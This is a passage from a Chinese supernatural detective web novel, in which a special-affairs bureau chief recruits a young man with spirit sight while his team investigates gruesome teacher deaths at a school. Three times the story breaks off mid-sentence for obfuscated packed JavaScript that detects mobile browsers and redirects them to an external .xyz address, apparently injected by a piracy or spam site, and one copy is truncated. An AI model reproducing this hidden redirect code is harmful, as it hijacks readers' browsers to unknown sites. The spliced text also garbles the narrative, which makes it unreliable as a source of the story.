严崇山从他的话里听出了一股凛然的杀气。 其实闻允第一时间没太认出小道士。 他和小道士见面不多,交流频率比漂流瓶还不稳定——这主要取决于城管的出勤排期,要是哪天城管没逮着小道士,而闻允又幸运地碰见了他,两人就能稍微聊一聊。 小道士姓李,平日以目盲形象示人,不说仙风道骨,至少也假模假样地戴着一副小圆墨镜,穿着一身道袍。 这会儿他双目圆睁,表情灵动,浑然不似个瞎子,难怪闻允一时认不出。 李道士恨不能以拂尘掩面,可惜他两手空空,只好哀嚎道:“老大救命!” 他那不顶用的领导慈爱地指着他,朝闻允介绍道:“这就是我们的技术骨干李煦,网页就是他做的,能自动锁定市内灵力强悍的闲散人员,针对性投放广告,像你这样的沧海遗珠,我们骗回来好几个呢。” 李煦:“……” 他立刻讨好地朝闻允笑了笑,绞尽脑汁地开始辩解:“哎呀……其实……我就是觉得你的能力这么强,如果不开发的话就太可惜了……我也是惜才呀……” 闻允不吃这一套,他敏锐地揪住话里的线头,刨根问底:“严局长今天刚认识我就想拉我入伙,你和我只见过几面就说我能力强悍,你们究竟是怎么判别的?” 李道士理直气壮地应道:“当然是我看出来之后告诉领导的,他能看出个……他能看出什么啊!” 为了让刚才临时咽下的“屁”字不那么明显,李煦转移话题道:“对了领导,你没带闻允哥去测灵仪那测一下?那不是入职必备手续吗?” 严崇山“啧”了一声:“他还没答应入职呢,而且这不是刚到吗?一到就看见你在这儿现眼。” 话音刚落,他的手机铃声响了,严崇山接通电话,计遇那死人一般没波澜的声音响在听筒里:“头儿,尸体有大问题,你得来一趟。” “行,”严崇山神色一敛,沉稳地应了一声,转头对闻允说:“不好意思啊,没时间请你吃饭了,只能改天。” 闻允耳朵尖,捕捉到了点漏出来的字音,追问道:“尸体怎么了?” 严崇山反问:“决定入职了?” 闻允皱了皱眉,不下定论。 严崇山平淡道:“我们可都签过保密协议,你还没入职,跟普通人没什么两样,我们只能一视同仁。你要真想知道案情,最早明天就能给你办入职手续。在此之前,无可奉告。” 说完这番话,他似乎觉得自己有点过于严肃,又缓和道:“……不过测灵倒是可以,李煦你带他去吧,我走一趟。” 严崇山一走,现场就没人能保护李煦了。他怂得要命,偷觑了一眼闻允的表情,发现对方没有让他血溅当场的打算,这才活过来一些,狗溜溜地带着闻允去测灵。 所谓的测灵仪混在仪器堆里,看起来像个体脂秤,除了一个底托,还有两个供人抓握的金属把手。仪器连着一个小显示屏,灵力数值、能力、还有能力描述都能在上面显示,看起来非常现代,非常科学。 李煦把测灵仪上堆放的外卖盒拎下来,操作了一番,让闻允站上去。 他紧盯着小屏幕,目瞪口呆地发现闻允的灵力数值越飙越高,简直到了一个夸张的地步,最后停留在一个破纪录的数字上。 但能力那一栏显示的却是“无”。 “这不科学啊……”李煦喃喃道,他压根没意识到灵力这东西本就不科学,“你的灵力这么高……怎么可能没有能力呢?连我都有个‘预知’啊。” 他疑惑地问:“闻允哥,你平时没发现自己有什么与众不同的地方吗?” 闻允的表情空白了一瞬,双眼茫然地目视前方,紧接着他回过神来,淡淡地否认了:“没有。” · 音乐社的活动室原本放着一些乐器,社团取消之后,那些乐器也都搬进了仓库里,只在活动室的地板上留下一些印子。 现在的活动室用空荡来形容也不为过,室内只有随便乱放的几把椅子,一张靠墙的学习桌,除此以外什么摆设也没有。 张老师的尸体面朝上地躺在活动室中央,如同一个软塌塌的人形水球。 他穿着白衬衣和黑长裤,衣物下的皮肤完整,但皮肤下的骨肉不知所踪,于是整具尸体十分扁平,脸像一张镶嵌了五官的鼓皮。 计遇站得离尸体远远的,他嫌恶心。 他的“寻踪”主要用来寻找灵力痕迹,鬼魂能量波动的残余在他眼中像是散发荧光的水波,他凭借这些来判断鬼魂前进的路径、鬼魂触碰过的地方,有时甚至能通过痕迹来倒推灵力归属。 像检查尸体这种“粗活”,一般都是严崇山和外勤部的其他兄弟们来。 而严崇山在的时候,兄弟们会一定让贤——刚做完灵检,他们现在都在门外守着。 严崇山走到尸体身边,戴上手套,半蹲下身,摸了摸尸体口耳的焦黑色——那是烧焦碳化的痕迹。 他不言语,转而按了按尸体侧颈,手感一言难尽,像按在了一块布丁上,皮肤立竿见影地陷下去一个小坑。 照这个状况,皮肤下残留的东西都不能叫肉泥了,得叫肉液。 严崇山接着向下审视,发现张老师的手不太对。 他的手被融得像副皮手套,除去大拇指,两只手剩下四根手指的根部都蹭掉了几块皮。严崇山拿手指比划了一下,看出掉皮的地方长度大概在一个指节左右,由手背向掌心地斜过手指侧方。 他想了想,试着合拢两手,做出一个交握的手势。 计遇看见严崇山的动作,问他:“有发现?” 严崇山“嗯”了一声:“你看,做这样的动作手指根部会交叉,等皮肉融化了再松手,皮就会被蹭下来。” 说完,他发表了一个高见:“但是他没事做这个动作干嘛呢?你说他会不会是基督徒,死前跟他家天父祷告呢?” 计遇:“……” 尽管没得到任何回音,严崇山仍然自得其乐。他松开手,仔细检查了一会儿尸体,最后和“鼓皮”上死不瞑目的眼睛对视,仿佛想从那两颗涣散浑浊的眼珠子里窥见凶手的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530290|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒影。 “凶手把你融成这样,却还留着一双眼睛,为什么呢?”严崇山喃喃自语,“对方想要你看见什么吗?兄弟,你到底得罪了哪路高人?” 计遇抱着手臂,一板一眼地汇报:“我们到现场的第一时间就拉了结界做灵检,但是什么痕迹也没找到。没有指纹,没有灵力残留,这里干净得像被打扫过。你认识能把灵力痕迹也全抹掉的高人吗?” 这根本是个悖论,因为抹掉灵力痕迹,就会留下“抹掉灵力痕迹”的痕迹。 计遇责任心强,办事很靠谱,他要是说没有灵力残留,那一定是掘地三尺之后的结论,不会有错。也就是说,他的言下之意是没鬼来过,灵侦技术可能暂时行不通。 这就有点扯淡了,如果凶案不是人干的,不是鬼干的,结论就只有张老师是自杀了。 那他妈的可能吗? 严崇山问:“指纹是谁查的?” 计遇说:“案子转交给我们之前公安来过,搜了一番,罗梨怕有遗漏,刚才又查了一次。” 严崇山点点头:“罗梨呢?” 计遇:“懒驴上磨屎尿多,上卫生间去了。” 严崇山难得良心发现,替罗梨打抱不平:“你说话真难听!” 随后,他站起身,活动了一下微微发僵的筋骨,幽幽地叹了一口气:“唉,你在这儿等她,还是跟我去问那个汪主任话?” 计遇疑惑道:“问他干嘛?” 严崇山:“他可是第一个怀疑凶手是鬼的人,虽然有脑子的人都看得出这不是人为手段吧,但是他的害怕程度未免太深了,你不觉得他有可能知道什么内幕吗?” 计遇斟酌一番,认为一惊一乍的汪主任比开始发臭的尸体要好,向严崇山表了个忠心:“我跟你。” 说完没两秒,不知他又想起了什么,出尔反尔地改口:“……算了,我等罗梨吧。” · “张老师叫张景程,是个物理老师,人挺好的,经常给物理成绩好的学生开小灶补课,还指导他们去参加比赛呢。” “风评?风评一直很好啊,他很与人为善的,好多女同志觉得他风趣幽默,都挺喜欢他的。” “哎呀,那怎么可能,他马上要结婚的人了,怎么会和女同志眉来眼去?” 这汪主任像张老师的脑残粉,张口就只有好话,连油滑的严崇山都有点听不出,到底是张老师为人真的如此无瑕,还是汪主任对他的滤镜太厚。 说到要结婚,汪主任又有点惆怅,他唉声叹气道:“真可怜啊,快结婚的时候发生这种事……他未婚妻得多难受啊?” “是该难受,”严崇山跟着附和了一句,毫无前摇地问:“对了,你们学校跳楼的那个小姑娘又是怎么回事?” 汪主任吓了一跳,都有点结巴了:“问、问她干什么?这案子和她有什么关系?糟了,是不是她有怨念,对学校老师下手……” 严崇山:“您打住,哎,其实和这案子没什么关系,纯是我爱听八卦。” 汪主任将信将疑地看了他一眼。 但毕竟严崇山在他认知里是个警察,就算是有爱听八卦这种无伤大雅的小癖好,他也迁就了。 于是他又叹了一口气:“那小姑娘叫李芸芸,成绩可好了,是个优等生,上名校的料,说起来张老师还辅导过她呢。” 严崇山轻轻一顿,跟着惋惜道:“那实在太可惜了,怎么会在高考前自杀呢,是不是学业压力太重了?” 汪主任附和:“肯定是啊!没别的原因了,她跳的时候也没留遗书什么的,同寝的小姑娘都说她有抑郁症,我看是板上钉钉的自杀。” 严崇山一副刚想起来什么的表情:“既然是自杀,您怎么会觉得她有怨气呢?” 汪主任脸色一变:“严警官,你这是什么意思,难不成想说她是被谋杀的吗?办案可得讲证据啊,她这案子三个月前就定性了。” 严崇山微微一笑:“我也没说不是。” “行,打扰您了,那尸体我们今天就弄走,楼下警戒线也能撤了,不过活动室还是不能进,麻烦您帮我们通知到位。” 鉴于交谈的结尾并不算太愉快,汪主任只点了点头,没再说话。他目送着严崇山离去,表情意味深长。 5. 动摇 问完汪主任,严崇山和他亲爱的下属们汇合,一群人开了两辆车,一前一后地回到特安局,完璧归赵。 特安局没有特别规律的上班时间,毕竟由鬼犯下的命案也不是时时发生,案件之间相隔十天半个月都是常有的事,是以局里也没有值班这种说法,工作模式更像是大家各干各的,“若有案”再“召必回”。 于是,虽然提供住宿,但除了计遇罗梨这种和严崇山私人关系好的成员,大家还是会住在自己家里。 严崇山和他俩一起上了楼,其余人就地解散,各回各家,等着严崇山电话召唤。 别墅一层被严崇山丧心病狂地拆了好几堵墙,硬生生地打通出一个大面积的公共客厅,视野广阔采光好,客厅接着开放式的公共厨房,两个区域被一张长长的宴会桌隔开。几个小套间环客厅散落,能各自提供独立的生活区域。 此刻阳光正好,浅色地砖反映着光线,把室内照得很亮堂。 三人进门,正看见闻允和李煦在客厅沙发上坐着。 闻允一看就是不爱闲聊的性格,他交叠着两条长腿,在沉默中如鱼得水,李煦则快要憋坏了,蔫得像个霜打的茄子。 见到人来,李煦精神一振,炮弹似的冲上去。 他兴奋地抓住严崇山的手臂,大逆不道地摇晃:“你知不知道,闻允哥是个人形武器啊!他的灵力是我见过最高的好厉害啊!!唉真的不愧是我看上的人你知道吗,我怎么就这么慧眼识珠呢?” 严崇山把他的手从自己胳膊上拨下去,重点奇妙地歪了一下:“你怎么就这么活蹦乱跳呢?小允没抽你?” 李煦高傲地哼了一声:“闻允哥不是这么坏的人!” 闻允拿着一罐从冰箱里薅出来的冰可乐,打碎了李煦可怜的自尊心:“他赔了我五万精神损失费。” 严崇山大吃一惊:“五万?你坑蒙拐骗赚这么多?!” 李煦愤怒道:“你接私活儿还七位数起接呢,我赚的哪有你多?!” 严崇山的脑回路十分奇特,这对话在他脑子里加工了一圈,不知怎么从一个偏僻的角度输出了,他转头问闻允:“你看,加入我们就能赚这么多,你决定好没有,人形小武器?” ……不是,这话题怎么绕回来的? 金钱诚可贵,安全价更高,闻允斟酌一番,觉得这五万够自己好好找一份工作,于是他拉开易拉罐,在咕嘟嘟的气泡里问:“你们除了开发能力,别的事能不能做?” 严崇山严肃地说:“杀人放火免谈。” 闻允:“……” 他喝了一口冷饮,把那时不时就小小燃烧一把的怒火浇灭,尽量心平气和地说:“我是想说封印我的灵力,拿走我的阴阳眼。我没什么远大的志向,从没想过要当什么‘超能力者’,能平凡普通地过日子,对我来说就已经很好了。” 严崇山一屁股在沙发上坐了下来,他先点了一根烟,以思考者的造型抽了一口,才慢慢地开口:“你弄错了。这从来不是什么能让你变成‘超能力者’的‘礼物’,硬要说的话,不如说这是‘诅咒’吧。” “虽然没法拿走你的阴阳眼,但我们可以保护你不受其害。” 闻允:“怎么做?” 严崇山刚才还一副寂寥萧索的表情,这下来劲了,他抓紧一切能表现的机会,挤眉弄眼地说:“比如说……靠我啊。” 闻允摇摇头,遗憾得真情实感:“贵府没养母猪真是可惜了。” 严崇山一时没反应过来,呆呆地问:“什么意思?” 李煦已经憋不住笑,他边捶沙发,边幸灾乐祸地说:“闻允哥想欣赏一下母猪上树的奇景啊哈哈哈哈哈!” ——严崇山靠得住,母猪能上树。 严崇山勃然微怒,他暗想:真有你的,骂人骂得拐弯抹角,心眼子长得山路十八弯,吃准了我脾气好不发火是吧! 为了转移这种尴尬,严崇山掐断话题,转而交代计遇和罗梨:“案子是今天发生的,这样吧,晚上你和罗梨去一趟活动室,看看能不能把鬼招出来,我不信凶手能藏得这么好,是人是鬼都得给我个交代。” 计遇干练地点了个头,罗梨面色犹豫,不知道在想什么。 紧接着,他忍辱负重地捋了一下思路:闻允的灵力高得连李煦都能打动,我还是得想个办法刷刷好感度吸纳人才,反正今晚招魂用不上我,要不然…… 他怀揣着一颗司马昭之心,对闻允大义凛然道:“看你也没车,不管你加不加入,今晚我送你回家吧。唉,我就是人太好了,你不用谢我。” 闻允毫无谢意地喝了一口冰可乐。 · 入夜。 车子亮着车灯,从破旧的“女王局”大门驶出,汇入车流,转瞬融入了茫茫车海。那辆车开得很稳健,不抢红灯,礼让行人,速度不超40迈,开了半个多小时,终于驶入一个旧小区。 闻允在这种安静平稳的环境里差点睡过去,直到严崇山把车停好,他才打起精神。 小区绿化不错,灌木丛在夜色里连成一片沉郁的墨绿色,只有被车灯映亮的一小块显得生机勃勃。 那车灯很快熄灭了,严崇山下了车,转头数了数小区里的楼栋:“你家在几栋几层?” 闻允没给具体的地址,他留下一句“跟我走吧”,就带着严崇山进了最近的一栋楼。 这个小区建于二十多年前,年龄和闻允差不多大。楼栋里有电梯,但整体不算新,进去就能闻到一股潮湿的霉味,大厅灯光昏黄,亮度不高,电梯门上还有几张撕了一半的小广告。 闻允带着严崇山上七楼,出了电梯,他在昏暗的走廊里左转右转,最后停在走廊尽头的门前。 今天测灵的时候他和李煦打探过几句,李煦说他也许并不是没有能力,而是和严崇山一样情况特殊。 严崇山的灵力很强,但是用不了,测量仪也显示他没有能力,实际上他有一些手段,让他能坐稳局长的“宝座”。 闻允想知道,这个严局长的能力到底特殊在哪里,又怎么能大言不惭地说保护他。 于是他没做任何提醒,静静地打开了入户门,伸手去摸玄关的开关。 灯亮的瞬间,闻允心想:来了。 一个还没他腿长的小姑娘扑了出来,清脆地说:“哥哥回来啦!今天有客人?” 闻允自顾自地在玄关处换鞋,目不斜视、面不改色,仿佛什么都没看见。 小姑娘看起来也就六岁左右,长得挺可爱,眼圆脸圆胳膊肉,她耐不住寂寞,把脸凑到闻允面前,像坏掉的复读机一样没完没了地重复:“哥哥哥哥哥哥哥哥哥哥哥哥……” 闻允眼也不眨,他从鞋柜里拿出一双拖鞋,对严崇山说:“穿这个吧。” 严崇山神态轻松,他换上拖鞋,越过小女孩儿,溜溜达达地走进闻允家里,一进客厅就说:“你家收拾得也太干净了,你有洁癖吗?还是强迫症?” 闻允家是个两室一厅,户型挺方正,浅色瓷砖木色家具,电视旁用餐柜隔除了一个用餐区域,厨房的玻璃门正敞着通风。 室内装潢有点旧,软装除了必要家具以外没有任何多余摆设,严崇山观察一通,发现只有沙发是新换过的,看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530291|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔软度很高,看来闻允每天就爱窝在沙发上。 闻允并不搭他的话。他关上了门,但还站在玄关,不知道在等什么。 一回身,严崇山又看见电视柜上摆着一张合照,手贱地拿起来观摩。 那是闻允和乔老师的合照,在闻允高中毕业那年拍的。照片上的乔老师抱着一束芍药,笑得灿烂无比,闻允的笑容虽然没有她那样外放,但也真心实意。 这都不是重点,重点是四年前的闻允比现在稚气多了,嫩得要命,看得严崇山啧啧摇头:“你还是笑起来好看,以后得多笑笑。” 闻允仍旧沉默。 他疑惑地朝闻允望了一眼,看见闻允站在原地,面色铁青,就像发现了什么可怕的东西。 严崇山吃了一惊:“我说话就这么难听?” 闻允一字一顿地问:“你看不见吗?” 在他的视野里,那个闹腾的小女孩儿已经爬上了沙发,这会儿正踩在沙发背上,凑在严崇山面前观察他。她离得太近,像是想把严崇山的睫毛都数清,也许顺便还能挖个眼珠子出来。 可是严崇山毫无反应。 他根本看不见那个小女孩! 他连自己是阴阳眼都看得出来,却看不到这个女孩儿?电光石火间,闻允想起李煦提起严崇山时犹犹豫豫咽下的那个“屁”字。 严崇山感觉不到灵力的存在吗?一个感觉不到灵力的人灵力再强有什么用,又会有什么样的特殊能力? 严崇山问:“看见什么?” 随即,他心念一转:“……不是吧,你家里有东西?” 这句话像触动了什么开关,对严崇山兴致勃勃的小女孩突然一顿,慢慢地朝闻允转过头来。 闻允眼睁睁地看着那颗脑袋一寸一寸地拧过一百八十度,小女孩儿身体朝前、脑袋朝后,头疑惑地一歪:“……原来你看得见我啊?” 她一边疑问着,一边朝闻允慢慢地伸长脖子,那长度很快就超过了人类的极限,细细的脖颈简直像一条被抻长的橡皮。 闻允想控制住自己的眼神,但他实在做不到——小女孩对自己的新发现相当喜悦,她弯起嘴唇凑近,笑容的弧度越来越大,唇角一直咧到耳根。 那道弯张合着,腐烂的舌头在她言语时若隐若现:“为什么你一直假装看不见我呢?哥哥,我真的、真的很孤单……” “我真的……” 小女孩儿的脸越凑越近,闻允感觉到自己的心脏正在剧烈跳动,手脚却冰凉不受控。巨大的恐惧将他穿透,他想说点什么,浑身却不听使唤。 严崇山见他状态紧绷得可怕,突然大步向他走来,将一只手摊在他面前,命令道:“把手搭上来。” 闻允呼吸短促,女鬼变形的脸已经抵在他的鼻尖,几乎占据了他所有视野。他艰难地转动眼珠,茫然地看向严崇山:“……?” 严崇山的态度有种莫名的笃定,他低声重复道:“不是占你便宜,搭上来。” 闻允僵硬地动了,他把自己微微发抖的、冰凉的手,放进了严崇山滚烫的掌心。 …… 消失了。 肌肤接触的一瞬间,占满视野的肉色消失了,那个纠缠了他十几年、无论如何也无法驱赶的小女鬼不见了。 无形的压力撤走,闻允像被人抽走了浑身的骨头,骤然瘫软,一时有些站不稳。 严崇山合拢手掌,牢牢抓着他的手,扶了他一把。 闻允喘息着问:“你是,你是怎么做到……” 严崇山慢悠悠地笑了:“现在——你想加入特安局了吗?” 6. 招魂 与此同时,招魂小组也已经在崇明中学就位。 活动室门窗紧闭,早上拉好的结界被撤下,室内没有开灯,昏暗的光源来自地上的红烛。 三根蜡烛将罗梨围了起来,火光不时跳跃,昏黄的光线闪烁。 蜡烛之间拴着灵线,几枚古旧的铜钱串在上方。 虽然尸体已经运回了特安局停尸房,但室内还萦绕着一股散不去的尸臭,四周安静得可怕,罗梨能清晰地听见自己的呼吸声。 这里发生过命案。罗梨不受控制地想。有人在这里死了,死得痛苦万分,扭曲不已。 下一个会是我吗?如果这只鬼怨气太重,就像我以前遇见过的……我会死吗? 罗梨的精神紧绷到极致,一阵阴风吹过,她控制不住地惊叫一声,门口处传来计遇的问话:“怎么了?” ——是了,计遇还和她在一起,计遇不会让她死的。 罗梨的恐惧被压下一些,她颤抖着应了一声“没事”,定了定神,咽了口唾沫,慢慢闭上眼,在心中默念。 “请来见我。” “我想见你。” “请来见我……” “我想见你……” “请来……” 她听见后颈转来一个又轻又薄的声音,伴随着阴冷的空气轻轻拂过她的耳畔,一句话说得如同叹息。 “——你想见我?” 计遇的精神高度集中,他一直不错眼珠地盯着罗梨的方向。 在他眼里,罗梨身上环绕着一层光亮,但那光亮并非和普通灵力一致的淡黄色,而是一种不详的暗红。 就像血迹干涸后的颜色。 而罗梨身后,站着一个浅浅的、透明的魂魄,那是个穿着校服的小姑娘,她的灵力痕迹比之罗梨暗淡不少,神情有些呆滞。 她轻轻问罗梨:“你在找我吗?” 罗梨猛地捂住自己的嘴,眼里蓄满泪水,甚至连呼吸都不敢。 她实在是太害怕了,无论使用能力多少次,招来多少只奇形怪状的鬼魂,她的恐惧都没有丝毫减弱,每当它们靠近,罗梨都会产生强烈的濒死感。 她没有回头看向身后,一个劲地朝计遇投去求助的眼神。 而计遇那王八蛋竟然没有立刻行动,他皱着眉,不知在思索什么,冷峻的脸被昏黄的烛光映亮,还有一大半埋在黑暗里,也显得鬼气森森。 就在罗梨马上就要哭出声的时候,计遇打开自己手中一个雕着牛头马面的小陶瓶,那姑娘低呼一声,如烟一般,轻飘飘地被收入了瓶中。 罗梨终于松开手,畅快地哭了出来,她一步跨出红线,含嗔带怒地捶打计遇肩头,吸着鼻子骂:“混蛋!你怎么不等我吓尿了再收?” 计遇冷飕飕地笑了一下,反问:“这么不体面的事,你会做吗?” 罗梨仍在泄愤:“反正就是怪你!” 计遇对这种没有力气的花拳绣腿不以为意,他混账地说:“胆子小别怪任何人。” 随后,他打开室内的灯,将眉头皱了起来:“她不是李芸芸。” 罗梨红着眼眶,抽抽搭搭地问:“为什么啊?长得不像?我都不敢回头看……真的太吓人了……” 计遇理性地分析:“能让张景程死成那样,一定是只‘念力’很强的鬼。但她太弱了,恐怕连维持自己的形态都得费点功夫,而且表情也不对。你知道的,没有投胎转世、强留人间的魂魄会慢慢失去记忆,时间越长忘得就越多,如果即将魂飞魄散,就只会在自己死亡的地方徘徊……她的表情太呆滞了。” 计遇低头望着自己掌心里的魂瓶,指腹不自觉地摩挲着盖子:“但你的能力几乎没有失手过,要么就是李芸芸的魂魄根本不在这里,要么就是她的怨念强到能抵抗这种诱惑。” “奇怪,”计遇出神地说:“一个跳楼而死的人怨念会重到这种程度吗?” · 第二天一早,李煦给自己换上了全副行头。 他穿着道袍,握着拂尘,顶着一副小圆墨镜,准备愉快地开启今日的行骗。 人刚到客厅,他就吃惊地发现客厅里放了两个行李箱,闻允站在行李箱边上,正低头翻阅入职合同。 他的神情很认真,和钻研一份实验数据没什么区别,看许久才会翻下一页。 严崇山耐心地站在闻允边上,时不时地还打个岔:“你搬过来之后房子怎么办,就空置着?要不要帮你租出去?” 闻允头也不抬,一口否决:“不。” 人虽然缺钱但不能缺德,他不能出租鬼屋。 严崇山看着他的表情,竟然就读懂了他心里的想法,笑着说:“哎哟,你怕那小姑娘害人?嗨,她要是有能力害人,你早就受害了,最多也就是吓吓你罢了。” 闻允的眼神一行一行扫过铅字,他淡淡地问:“你怎么知道不是她害不到我?不是说我灵力很强么?” 严崇山嗤笑一声:“小允同志,强归强,你也不会用啊。你现在就是婴儿手里拿菜刀,白瞎。” 闻允在他的打击下终于抬起头,直勾勾地望着他:“你为什么看不见鬼?” 严崇山刚想解释,李煦重咳一声,刷了一下存在感:“领导就是看不到啊!他平时都靠牛眼泪的。” 严崇山看了一眼拆台的李煦,李煦悚然一惊,嘴里“阿弥陀佛福生无量天尊阿门”地念了一番,一溜烟儿地跑了。 李煦前脚刚出门,计遇和罗梨后脚就回来了。 计遇表情不佳,眼睛下有一圈明显的青黑,这令他本就阴郁的人设雪上加霜。罗梨挽着他的手臂,精神百倍,心情舒畅,嘴里甚至在哼歌。 严崇山吃惊地说:“计遇,你被罗梨采阳补阴了?” 计遇看了一眼行李箱,又看了一眼正在签字的闻允,一下就知道是怎么回事,他冷冷地啐了严崇山一口:“该死的领导,只知道宠爱新人,不懂得体恤旧部。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530292|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >罗梨一秒松开计遇,冲到闻允面前,不见外地捧着那张清隽的脸,眨了眨刷得夸张的睫毛:“天呀小帅哥,以后你就是我们的新同事啦?其实你一出现我就特别看好你~李煦一直管我叫梨子姐,你以后和他一起这样叫我好啦~” 罗梨是典型的御姐长相,她留着一头银灰色的长卷发,眉压眼,浓颜,似乎很偏好明艳的颜色,于是嘴唇和指甲都一片血红。光看长相,实在很难想象她在计遇面前有如此小女孩的做派。 闻允惨遭蹂躏,许久没人这么没边界感地玩弄他了,他一时连阻拦罗梨都忘了,顶着被罗梨挤出的小猪嘴,嘟嘟囔囔地问:“……啊?” 罗梨美滋滋地欣赏着闻允的脸:“以后我就是你的好姐姐,你就是我的好弟弟了,明白了吗?” 闻允的表情一片呆滞。 严崇山看不下去了,把犯花痴的罗梨拉开一些:“你有点儿正形没有……昨晚什么情况?找到李芸芸了吗?” 计遇的脸色比刚才还难看,他把眼神从罗梨身上撕下来,简短地说:“昨晚来的不是李芸芸。” 他和罗梨招来的那个小姑娘,是崇明中学二十年前死掉的一个女学生,连自己姓甚名谁都记不清,被问话的时候反应迟钝,回答得又有点前言不搭后语,弄得计遇很是痛苦。 小姑娘说自己是失足掉进学校人工湖里淹死的,死后她期望自己重男轻女的父母能为她多痛苦几分,可学校赔了她父母一大笔钱,夫妻俩拿了钱,很干脆地息事宁人,这事就不了了之了——这部分她倒是记得很清楚。 或许她留在人间是因为某个执念,可惜她自己已经记不住,只是漫无目的地在学校里徘徊,直到被罗梨吸引来,才勉强恢复了一点理智。 计遇看她神志不清到这个程度,觉得她离魂飞魄散不远了,就花大功夫超度了她。 至于罗梨——罗梨怕鬼,不参与计遇的超度工程,她自己找地方美美地睡了一觉。 计遇拧着眉头:“我觉得李芸芸的魂魄不在学校里。” 听见计遇他们还是一无所获,严崇山啧了啧嘴:“我个人还是倾向于凶手是李芸芸。上回问汪主任话你没听见,他说张景程额外给李芸芸开小灶给她补课,如果是这样,他们一定有过很多接触。而且汪主任的态度很奇怪,好像坚信李芸芸死得有怨气……学校里没有别的死人,第一个死的是李芸芸,第二个死的是张景程,如果说两个命案之间没关联,我不信。” 计遇懒懒地抬了一下眼皮:“那现在怎么办?” 严崇山说:“唔,找点附着‘执念’的物品再试一次吧,万一这李芸芸只是意志坚定呢,用‘执念’说不定能给她勾出来。” 话刚说完,严崇山的手机响了。他接起电话喂了一声,面色立刻沉下来,低低地朝话筒道:“好,我们这就过去。” 闻允看见他表情凝重,心头不详地跳了一下。 严崇山望向他们,说:“又死了一个老师。” 7. 再犯 因为命案,崇明中学临时通知放假一天,校门口一片混乱,学生们背着包,三三两两地扎堆,不时有人朝路边的车挥挥手。 车道被堵得水泄不通,喇叭声此起彼伏,“死人”、“恐怖”这样的字眼在嘈杂的交谈声中蔓延着。 八卦向来如同病毒,只要张口就能传播,严崇山带着闻允和罗梨赶到的时候,舆情已经有些压不住了。 原本计遇也该来,万一要做灵检撸袖子就能上,但他超度了一晚上女学生,体力有点透支,严崇山特批他在局里休息。 严崇山拨开校门口拥挤的人群,穿过好奇且恐慌的学生们,进入校园,径直走到教学楼下。 那里拉着一条显眼的警戒线,几个穿着警服的公安部门的同志正在维护秩序,一个女老师在和领头的人描述案发现场,她的情绪不太稳定,眼眶一片通红。 闻允看见那几个警察,低声问:“这案子不归我们管?” 严崇山摇摇头:“不归我们管就不会把电话打到我这里。我们局只接手灵异案件,但这个标准不好判别,普通人也看不出来,所以一般是由公安部门先来现场勘察,如果觉得死状奇特,不像人为手段,就会让我们来做进一步的判断……现场肯定有什么东西让他们觉得需要特安局介入,先去看看情况。” 罗梨和计遇一般负责“进一步判断”的环节,因此和公安打交道比较多。她认识为首的那个警察,几步走上前去,在两人交谈的空档,和警察打了个招呼:“万哥,什么情况呀?” 女老师受到了精神创伤,一听“情况”两个字又要哭,万警官让人带她先去休息,随后朝罗梨说:“八成是你们的案子,你把严局长也请过来吧,我正好和你们复述一遍。” 罗梨朝严崇山招了招手,严崇山拍拍闻允的肩:“入职第一天就有新案子,你可真是个‘吉祥物’,走吧。” 闻允不为所动,心想:关我什么事?真烦人。 这次的死者是个教语文的女老师,姓陈,死在办公室里。 她昨晚看晚自习,下自习后回办公室接着加班,其他同事都忙完了,就和她告了别先离开,她是最后一个留在办公室里的人。 今天一早,负责开门的女老师来了,发现办公室的门大敞着,灯也没关,而陈老师趴在办公桌上睡觉。 她以为陈老师是累得睡着了,就想着把人拍醒,这一拍就出事了,她发现陈老师身体格外僵硬,皮肤冷得吓人,而且空气里有一股浓重的血腥味儿。 那时候太早,其他同事都没来,她摇晃了陈老师几下,而陈老师始终没有反应,她只好硬着头皮蹲下去,钻进陈老师的臂弯下,从桌子下面检查陈老师的状况。 在她抬头看的瞬间,两个鲜血淋漓的血窟窿撞进她的眼里,直勾勾地与她对视。 陈老师的眼珠被人挖走了,眼睛的位置只有两个血肉模糊的窟窿,两行血泪爬到嘴边,嘴像脱臼一样大张着,嘴里没有舌头,齿缝里全是血。 她吓得浑身颤抖,发不出一点声音来,直到一滴血从陈老师嘴里滴落,打在了她的脸上,才激出一声惨烈的尖叫。 其他办公室的老师循声赶到,几人随后报了警。 严崇山打断万警官:“人力也能做到这种程度,你们不是因为她死得吓人才联系我的吧?” 万警官人挺高大,因为长期出外勤,皮肤被晒成了小麦色。他长得十分国泰民安、正气凛然,对严崇山突然打断他的行为也不以为忤,只是有什么答什么:“不是。我们现场勘察了一下,发现眼睛和舌头都是她自己弄下来的。” 